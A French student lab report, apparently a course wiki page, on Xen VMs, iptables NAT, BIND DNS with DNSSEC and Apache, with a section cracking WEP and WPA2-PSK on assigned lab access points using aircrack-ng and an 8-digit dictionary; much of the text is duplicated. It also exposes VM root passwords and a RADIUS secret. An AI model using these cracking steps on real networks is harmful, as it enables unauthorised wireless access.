La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.

Sur capbreton, depuis <code>/etc/xen/SE4.CachyOS.cfg :</code><syntaxhighlight lang="shell">
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']
</syntaxhighlight>Pour l'adresse mac on prend celui existant et on fait +1.

Depuis <code>/etc/resolv.conf </code>:<syntaxhighlight lang="shell">
nameserver 8.8.8.8

</syntaxhighlight>

==== SSH 476 ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3 ====
<syntaxhighlight lang="shell">
apt update
apt upgrade

apt install ssh
apt install bind9
apt install apache2
</syntaxhighlight>(Dans TOUTES les VMs)

On active le SSH en ajoutant dans <code>/etc/ssh/sshd_config</code> :<syntaxhighlight lang="shell">
PermitRootLogin yes
</syntaxhighlight>Pour redemarrer le service ssh :<syntaxhighlight lang="shell">
/etc/init.d/ssh restart
</syntaxhighlight>Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :<syntaxhighlight lang="shell">
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24
</syntaxhighlight>

==== Mascarade ====
Sur la mandataire : <syntaxhighlight lang="shell">
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22
iptables-save

</syntaxhighlight>Et on décommente cette ligne dans <code>/etc/sysctl.conf</code> : <syntaxhighlight lang="shell">
net.ipv4.ip_forward=1
</syntaxhighlight>Et maintenant nous pouvons nous connecter à notre machine de service en ssh : <syntaxhighlight lang="shell">
#IPV4
ssh root@193.48.57.166 -p 2202
# IPV6
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed
</syntaxhighlight>

==== DNS ====
Tout d'abord, il faut modifier <code>/etc/bind/named.conf.local</code> : <syntaxhighlight lang="shell">
zone "archlinuxbtw.lol" {
type master;
file "/etc/bind/myZones/db.archlinuxbtw.lol";
allow-transfer{secondaries;};
notify yes;
};

acl "secondaries"{
192.168.10.2;
2001:660:4401:60a0:216:3eff:fe36:79d9;
};

zone "archlinux.lol" {
type secondary;
file "/etc/bind/backup/db.archlinux.lol";
primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};
};

</syntaxhighlight>J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :<syntaxhighlight lang="shell">
$TTL 400

@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (
3609 ; Numero de version
21600 ; Rafraichissement (6h)
3600 ; Re-tentative (1h)
2592000 ; Expiration (30j)
86400 ; Cache negatif (24h)
);

IN NS ns.archlinuxbtw.lol.
IN NS ns.archlinux.lol.
@ IN A 193.48.57.166
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed
ns IN A 193.48.57.166
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed

www IN CNAME archlinuxbtw.lol

</syntaxhighlight>Ensuite on restart le service via : <code>service named restart</code>

Création d'une clé<syntaxhighlight lang="shell">
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr
</syntaxhighlight>
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]
Notre DNS est bien reconnu et la commande <code>dig @8.8.8.8 archlinuxbtw.lol</code> c'est grâce au Glue records.

Génération des clés

Changement nom machine <code>nano /etc/hostname : CachyOS</code>

Et dans /etc/hosts:

127.0.1.1 archlinuxbtw.lol SE4.CachyOS

==== DNSSEC ====
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : <code>"dnspol"</code>
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :<syntaxhighlight lang="shell">
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
</syntaxhighlight>Pour ce faire, dans <code>named.conf.local</code> il faut rajouter les 3 lignes à partir de "key-directory" :<syntaxhighlight lang="shell">
key-directory "/etc/bind/keys";
dnssec-policy "dnspol"; // DNSSEC automatique
inline-signing yes;

[...]

dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};

</syntaxhighlight>Pour l'activer, il faut restart bind9 avec <code>systemctl restart bind9</code>

Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : <nowiki>https://dnsviz.net</nowiki>
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]

Et on peut voir que nos clefs on bien été générer : <syntaxhighlight lang="shell">
root@CachyOS:/etc/bind# ls keys/
Karchlinuxbtw.lol.+013+24458.key Karchlinuxbtw.lol.+013+56682.key
Karchlinuxbtw.lol.+013+24458.private Karchlinuxbtw.lol.+013+56682.private
Karchlinuxbtw.lol.+013+24458.state Karchlinuxbtw.lol.+013+56682.state

</syntaxhighlight>

==== Apache ====
Dans ce repertoire <code>/etc/apache2/sites-availab</code>le : touch archlinuxbtw.lol.conf

Je genere un crt via la commande :

openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb

tw.lol.key -out archlinuxbtw.lol.crt

Et je deplace mes fichiers dans :

root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/

root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/

root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key

Pour arreter le service par defaut : a2dissite 000-default.conf

Et on verifie avec la commande : apache2ctl -S

Iptable pour atteindres les ports https : <code># HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save</code>

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT
==== Effraction WiFi ====

===== Cassage WEP =====
Il faut tout faire sur la zabeth13 comme on avait tester sur 4 machines dans la semaine avec mon binome les cartes réseaux des autres machines ne marchent pas.

Avec ip link je vois que l'interface wifi se nomme <code>wlx40a5ef0f679b</code>.

On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 :

<code>sudo airodump-ng wlx40a5ef0f679b</code>

Je recupere :

<code>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</code>

<code>04:DA:D2:9C:50:54 -63 27 5 0 4 54e. WEP WEP cracotte05</code>

Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :

<code>sudo airodump-ng wlx40a5ef0f679b --write airodump --bssid 04:DA:D2:9C:50:54 -c4</code>

Et en parallele on lance ceci jusqu'a ce que la clef soit trouvé :

<code>aircrack-ng airodump-01.cap</code><syntaxhighlight lang="shell">
Aircrack-ng 1.7

[00:26:11] Tested 835 keys (got 68980 IVs)
Got 70001 out of 70000 IVsStarting PTW attack with 70001 ivs.
KB depth byte(vote)
0 0/ 13 FF(97024) A3(79616) D9(79360) C5(78848) 3A(78592) E3(78592) 29(78336) D1(78336) E9(78080) 7C(77568) DF(77568) 34(76800) 85(76800) D8(76544) 24(76032)
1 0/ 1 CA(108544) CB(80128) B5(79104) EB(78336) 10(77824) A8(77312) E5(76800) F8(76800) E7(76544) EE(76544) 27(76288) 4C(76288) 68(76288) CC(76288) E6(76288)
2 2/ 2 A4(80128) 3A(78336) 14(76800) 5A(76544) D2(76544) 98(76032) 08(75776) 1D(75776) 40(75776) 99(75776) E4(75776) F2(75776) CD(75520) F7(75520) 56(75008)
3 0/ 1 D1(100608) 89(79872) 22(77568) 11(77056) A0(77056) 9E(76800) B0(76800) 98(76544) A9(76544) 5A(76032) AB(76032) CD(76032) 9A(75776) 4D(75520) 51(75264)
4 7/ 4 43(77312) 4E(76800) 0F(76544) 29(76544) BA(76544) 3E(76032) 61(75776) A6(75776) C6(75776) 89(75264) 21(75008) 5A(75008) 65(75008) C8(75008) DD(75008)

KEY FOUND! [ FF:FF:FF:FF:FA:BC:06:CB:AE:EE:EE:EE:EE ]
Decrypted correctly: 100%

</syntaxhighlight>

===== Cassage WPA-PKS =====
Ce script python permet de creer un dictionnaire :<syntaxhighlight lang="python">
with open("dictionnaire_8_chiffres.txt", "w") as f:
for i in range(100000000): # Pour générer des nombres de 00000000 à 99999999
f.write(f"{i:08d}\n") # Écrit le nombre avec 8 chiffres

</syntaxhighlight>ou alors avec crunch :

<code>crunch 8 8 0123456789 -o dictionnaire_8_chiffres.txt</code>

Ensuite après execution nous pouvons recuperer le fichier .txt créer.

On récuperer le dump comme precedemment pour cette borne pour mon cas :

<code>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</code>

<code>44:AD:D9:5F:87:04 -43 3 5 2 13 54e. WPA2 CCMP PSK kracotte05</code>

Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :<code>sudo airodump-ng wlx40a5ef0f679b --write airodumpWPA --bssid 44:AD:D9:5F:87:04 -c13</code>

Et ensuite après avoir récuperer 1 data minimum :

<code>aircrack-ng airodump-01.cap</code>

Et enfin on attend (c'est long si vous vous demander... tres looong faite la suite en attendant :<syntaxhighlight lang="bash">
Aircrack-ng 1.7

[00:35:36] 66631280/100000000 keys tested (30842.35 k/s)

Time left: 18 minutes, 1 second 66.63%

KEY FOUND! [ 66685666 ]

Master Key : EF 69 DE 33 B4 7F AA 9E 20 AB 3C AF F1 F7 3E A8
61 7C 80 F2 3C A9 FE B6 9A 72 98 B3 20 B3 2A A6

Transient Key : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : AD 95 F2 4D 5A 3F 4A 57 CD D8 0E EA A6 14 8B 1A

</syntaxhighlight>

==== Sécurisation WiFi par WPA2-EAP ====
Depuis notre machine de service on va se connecter sur notre borne wifi, ici on prend l'IP de la E304 :

<code>ssh -oKexAlgorithms=+diffie-hellman-group11-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4</code>

<syntaxhighlight lang="bash">
aaa new-model
aaa authentication login eap_student5 group radius_student5
radius-server host 192.168.10.3 auth-port 1812 acct-port 1813 key secret_student5
aaa group server radius radius_student5
server 192.168.10.3 auth-port 1812 acct-port 1813
exit

dot11 ssid VM_SERVICES_5
vlan 15
authentication open eap eap_student5
authentication network-eap eap_student5
authentication key-management wpa
mbssid guest-mode
exit

interface Dot11Radio0
encryption vlan 15 mode ciphers aes-ccm
exit

interface Dot11Radio0.15
encapsulation dot1Q 15
bridge-group 15
exit

interface GigabitEthernet0.15
encapsulation dot1Q 15
bridge-group 15
exit

</syntaxhighlight>

et l'IP de la E305 :

<code>ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3</code>

=== Utiles ===

=== XEN ===
''Liste des VMs allumées :'' <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

''Se connecter à la VM :''<syntaxhighlight lang="shell">
xen console <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds
''Sortir de la console xen :''<syntaxhighlight lang="shell">
Ctrl + Shift + 5
</syntaxhighlight>''Eteindre une VM :'' <syntaxhighlight lang="shell">
xen shutdown <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

''Allumer une VM :''<syntaxhighlight lang="shell">
xen create /etc/xen/<nomMachine>.cfg
</syntaxhighlight>

Atelier SysRes SE4 2025/2026 E5

2026-02-10T15:36:03Z

Cpayet : /* Utiles */

=== Compte rendu des commandes effectués ===

==== Etape 1 : Connexion SSH ====
ssh root@capbreton

Mot de passe :

==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====
On se déplace à ce répertoire :<syntaxhighlight lang="shell">
cd /etc/network/interfaces.d/
</syntaxhighlight>On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :<syntaxhighlight lang="shell">
touch SE42026_cpayet_tdelobel
vim SE42026_cpayet_tdelobel

</syntaxhighlight>Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :<syntaxhighlight lang="shell">
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>Une fois le pont créer, il faut le démarrer :<syntaxhighlight lang="shell">
ifup pont_pacman
</syntaxhighlight>

==== Etape 3 : Création des VMs ====
<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.CachyOS --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
</syntaxhighlight>On adapte les hostnames en fonction des nom de nos machines.

'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.

===== Nos résultats : =====
CachyOS : <syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.CachyOS
Distribution : daedalus
MAC Address : 00:16:3E:8B:45:EC
IP Address(es) : dynamic
SSH Fingerprint : SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)
SSH Fingerprint : SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)
SSH Fingerprint : SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)
SSH Fingerprint : SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)
Root Password : 6nyCiterydiMtnxsPDRsUys

</syntaxhighlight>Manjaro : <syntaxhighlight lang="shell">

Installation Summary
---------------------
Hostname : SE4.Manjaro
Distribution : daedalus
MAC Address : 00:16:3E:36:79:D8
IP Address(es) : dynamic
SSH Fingerprint : SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)
SSH Fingerprint : SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)
SSH Fingerprint : SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)
SSH Fingerprint : SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)
Root Password : PgvMbhYvgtksg8tmiJnVZnQ
</syntaxhighlight>LinusTorvalds :<syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.LinusTorvalds
Distribution : daedalus
MAC Address : 00:16:3E:AA:BF:EF
IP Address(es) : dynamic
SSH Fingerprint : SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)
SSH Fingerprint : SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)
SSH Fingerprint : SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)
SSH Fingerprint : SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)
Root Password : ekrmCSKb3ZAxXSYvNpjbiSK
</syntaxhighlight>

==== Etape 4 : ====
PHRASE MANQUANTE<syntaxhighlight lang="shell">
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.CachyOS.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
</syntaxhighlight>On vérifie la liste des machines lancées via : <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

===== Nos résultats : =====
<syntaxhighlight lang="shell">
Name ID Mem VCPUs State Time(s)
SE4.CachyOS 83 2048 1 -b---- 5.6
SE4.Manjaro 85 2048 1 -b---- 5.8
SE4.LinusTorvalds 87 2048 1 -b---- 5.3
</syntaxhighlight>

==== Etape 5 : Partition ====

===== Sur capbreton =====

On partionne avec cette commande :<syntaxhighlight lang="shell">
lvcreate -n SE4.CachyOS.var -L 10G virtual
</syntaxhighlight>
On éteint notre machine : <syntaxhighlight lang="shell">
xen shutdown SE4.CachyOS
</syntaxhighlight>
Et on modifie :<syntaxhighlight lang="shell">
vim /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Et on ajoute ceci :<syntaxhighlight lang="shell">
disk = [
[...],
'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',
'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'
]
</syntaxhighlight>

===== Sur la machine mandataire =====

Nous ajoutons les partitions dans '''''/etc/fstab''''' : <syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Nous formatons les partitions avant de les utiliser : <syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Nous copions le contenu de '''/var''' : <syntaxhighlight lang="shell">
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
</syntaxhighlight>

Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : <syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

===== De nouveaux sur capbreton =====
On redémarre notre machine : <syntaxhighlight lang="shell">
xen create /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Ensuite on se connecte à notre VM via :<syntaxhighlight lang="shell">
xen console SE4.CachyOS
</syntaxhighlight>

===== Machines de Service - CachyOS & Manjaro =====
Dans notre VM :

On modifie :<syntaxhighlight lang="shell">
vim /etc/network/interfaces
</syntaxhighlight>
Et on ajoute ceci :<syntaxhighlight lang="shell">
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.10.3/24
gateway 192.168.10.1

# Pour l'ipv6
auto eth1
iface eth1 inet6 auto

</syntaxhighlight>

* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS

===== Machine Mandataire - LinusTorvalds =====
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :

La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.

Sur capbreton, depuis <code>/etc/xen/SE4.CachyOS.cfg :</code><syntaxhighlight lang="shell">
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']
</syntaxhighlight>Pour l'adresse mac on prend celui existant et on fait +1.

Depuis <code>/etc/resolv.conf </code>:<syntaxhighlight lang="shell">
nameserver 8.8.8.8

</syntaxhighlight>

==== SSH 476 ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3 ====
<syntaxhighlight lang="shell">
apt update
apt upgrade

apt install ssh
apt install bind9
apt install apache2
</syntaxhighlight>(Dans TOUTES les VMs)

On active le SSH en ajoutant dans <code>/etc/ssh/sshd_config</code> :<syntaxhighlight lang="shell">
PermitRootLogin yes
</syntaxhighlight>Pour redemarrer le service ssh :<syntaxhighlight lang="shell">
/etc/init.d/ssh restart
</syntaxhighlight>Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :<syntaxhighlight lang="shell">
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24
</syntaxhighlight>

==== Mascarade ====
Sur la mandataire : <syntaxhighlight lang="shell">
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22
iptables-save

</syntaxhighlight>Et on décommente cette ligne dans <code>/etc/sysctl.conf</code> : <syntaxhighlight lang="shell">
net.ipv4.ip_forward=1
</syntaxhighlight>Et maintenant nous pouvons nous connecter à notre machine de service en ssh : <syntaxhighlight lang="shell">
#IPV4
ssh root@193.48.57.166 -p 2202
# IPV6
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed
</syntaxhighlight>

==== DNS ====
Tout d'abord, il faut modifier <code>/etc/bind/named.conf.local</code> : <syntaxhighlight lang="shell">
zone "archlinuxbtw.lol" {
type master;
file "/etc/bind/myZones/db.archlinuxbtw.lol";
allow-transfer{secondaries;};
notify yes;
};

acl "secondaries"{
192.168.10.2;
2001:660:4401:60a0:216:3eff:fe36:79d9;
};

zone "archlinux.lol" {
type secondary;
file "/etc/bind/backup/db.archlinux.lol";
primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};
};

</syntaxhighlight>J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :<syntaxhighlight lang="shell">
$TTL 400

@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (
3609 ; Numero de version
21600 ; Rafraichissement (6h)
3600 ; Re-tentative (1h)
2592000 ; Expiration (30j)
86400 ; Cache negatif (24h)
);

IN NS ns.archlinuxbtw.lol.
IN NS ns.archlinux.lol.
@ IN A 193.48.57.166
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed
ns IN A 193.48.57.166
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed

www IN CNAME archlinuxbtw.lol

</syntaxhighlight>Ensuite on restart le service via : <code>service named restart</code>

Création d'une clé<syntaxhighlight lang="shell">
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr
</syntaxhighlight>
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]
Notre DNS est bien reconnu et la commande <code>dig @8.8.8.8 archlinuxbtw.lol</code> c'est grâce au Glue records.

Génération des clés

Changement nom machine <code>nano /etc/hostname : CachyOS</code>

Et dans /etc/hosts:

127.0.1.1 archlinuxbtw.lol SE4.CachyOS

==== DNSSEC ====
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : <code>"dnspol"</code>
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :<syntaxhighlight lang="shell">
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
</syntaxhighlight>Pour ce faire, dans <code>named.conf.local</code> il faut rajouter les 3 lignes à partir de "key-directory" :<syntaxhighlight lang="shell">
key-directory "/etc/bind/keys";
dnssec-policy "dnspol"; // DNSSEC automatique
inline-signing yes;

[...]

dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};

</syntaxhighlight>Pour l'activer, il faut restart bind9 avec <code>systemctl restart bind9</code>

Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : <nowiki>https://dnsviz.net</nowiki>
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]

Et on peut voir que nos clefs on bien été générer : <syntaxhighlight lang="shell">
root@CachyOS:/etc/bind# ls keys/
Karchlinuxbtw.lol.+013+24458.key Karchlinuxbtw.lol.+013+56682.key
Karchlinuxbtw.lol.+013+24458.private Karchlinuxbtw.lol.+013+56682.private
Karchlinuxbtw.lol.+013+24458.state Karchlinuxbtw.lol.+013+56682.state

</syntaxhighlight>

==== Apache ====
Dans ce repertoire <code>/etc/apache2/sites-availab</code>le : touch archlinuxbtw.lol.conf

Je genere un crt via la commande :

openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb

tw.lol.key -out archlinuxbtw.lol.crt

Et je deplace mes fichiers dans :

root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/

root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/

root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key

Pour arreter le service par defaut : a2dissite 000-default.conf

Et on verifie avec la commande : apache2ctl -S

Iptable pour atteindres les ports https : <code># HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save</code>

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT
==== Effraction WiFi ====

===== Cassage WEP =====
Il faut tout faire sur la zabeth13 comme on avait tester sur 4 machines dans la semaine avec mon binome les cartes réseaux des autres machines ne marchent pas.

Avec ip link je vois que l'interface wifi se nomme <code>wlx40a5ef0f679b</code>.

On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 :

<code>sudo airodump-ng wlx40a5ef0f679b</code>

Je recupere :

<code>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</code>

<code>04:DA:D2:9C:50:54 -63 27 5 0 4 54e. WEP WEP cracotte05</code>

Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :

<code>sudo airodump-ng wlx40a5ef0f679b --write airodump --bssid 04:DA:D2:9C:50:54 -c4</code>

Et en parallele on lance ceci jusqu'a ce que la clef soit trouvé :

<code>aircrack-ng airodump-01.cap</code><syntaxhighlight lang="shell">
Aircrack-ng 1.7

[00:26:11] Tested 835 keys (got 68980 IVs)
Got 70001 out of 70000 IVsStarting PTW attack with 70001 ivs.
KB depth byte(vote)
0 0/ 13 FF(97024) A3(79616) D9(79360) C5(78848) 3A(78592) E3(78592) 29(78336) D1(78336) E9(78080) 7C(77568) DF(77568) 34(76800) 85(76800) D8(76544) 24(76032)
1 0/ 1 CA(108544) CB(80128) B5(79104) EB(78336) 10(77824) A8(77312) E5(76800) F8(76800) E7(76544) EE(76544) 27(76288) 4C(76288) 68(76288) CC(76288) E6(76288)
2 2/ 2 A4(80128) 3A(78336) 14(76800) 5A(76544) D2(76544) 98(76032) 08(75776) 1D(75776) 40(75776) 99(75776) E4(75776) F2(75776) CD(75520) F7(75520) 56(75008)
3 0/ 1 D1(100608) 89(79872) 22(77568) 11(77056) A0(77056) 9E(76800) B0(76800) 98(76544) A9(76544) 5A(76032) AB(76032) CD(76032) 9A(75776) 4D(75520) 51(75264)
4 7/ 4 43(77312) 4E(76800) 0F(76544) 29(76544) BA(76544) 3E(76032) 61(75776) A6(75776) C6(75776) 89(75264) 21(75008) 5A(75008) 65(75008) C8(75008) DD(75008)

KEY FOUND! [ FF:FF:FF:FF:FA:BC:06:CB:AE:EE:EE:EE:EE ]
Decrypted correctly: 100%

</syntaxhighlight>

===== Cassage WPA-PKS =====
Ce script python permet de creer un dictionnaire :<syntaxhighlight lang="python">
with open("dictionnaire_8_chiffres.txt", "w") as f:
for i in range(100000000): # Pour générer des nombres de 00000000 à 99999999
f.write(f"{i:08d}\n") # Écrit le nombre avec 8 chiffres

</syntaxhighlight>ou alors avec crunch :

<code>crunch 8 8 0123456789 -o dictionnaire_8_chiffres.txt</code>

Ensuite après execution nous pouvons recuperer le fichier .txt créer.

On récuperer le dump comme precedemment pour cette borne pour mon cas :

<code>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</code>

<code>44:AD:D9:5F:87:04 -43 3 5 2 13 54e. WPA2 CCMP PSK kracotte05</code>

Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :<code>sudo airodump-ng wlx40a5ef0f679b --write airodumpWPA --bssid 44:AD:D9:5F:87:04 -c13</code>

Et ensuite après avoir récuperer 1 data minimum :

<code>aircrack-ng airodump-01.cap</code>

==== Sécurisation WiFi par WPA2-EAP ====
Depuis notre machine de service on va se connecter sur notre borne wifi, ici on prend l'IP de la E304 :

<code>ssh -oKexAlgorithms=+diffie-hellman-group11-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4</code>

<syntaxhighlight lang="bash">
aaa new-model
aaa authentication login eap_student5 group radius_student5
radius-server host 192.168.10.3 auth-port 1812 acct-port 1813 key secret_student5
aaa group server radius radius_student5
server 192.168.10.3 auth-port 1812 acct-port 1813
exit

dot11 ssid VM_SERVICES_5
vlan 15
authentication open eap eap_student5
authentication network-eap eap_student5
authentication key-management wpa
mbssid guest-mode
exit

interface Dot11Radio0
encryption vlan 15 mode ciphers aes-ccm
exit

interface Dot11Radio0.15
encapsulation dot1Q 15
bridge-group 15
exit

interface GigabitEthernet0.15
encapsulation dot1Q 15
bridge-group 15
exit

</syntaxhighlight>

et l'IP de la E305 :

<code>ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3</code>

=== Utiles ===

=== XEN ===
''Liste des VMs allumées :'' <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

''Se connecter à la VM :''<syntaxhighlight lang="shell">
xen console <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds
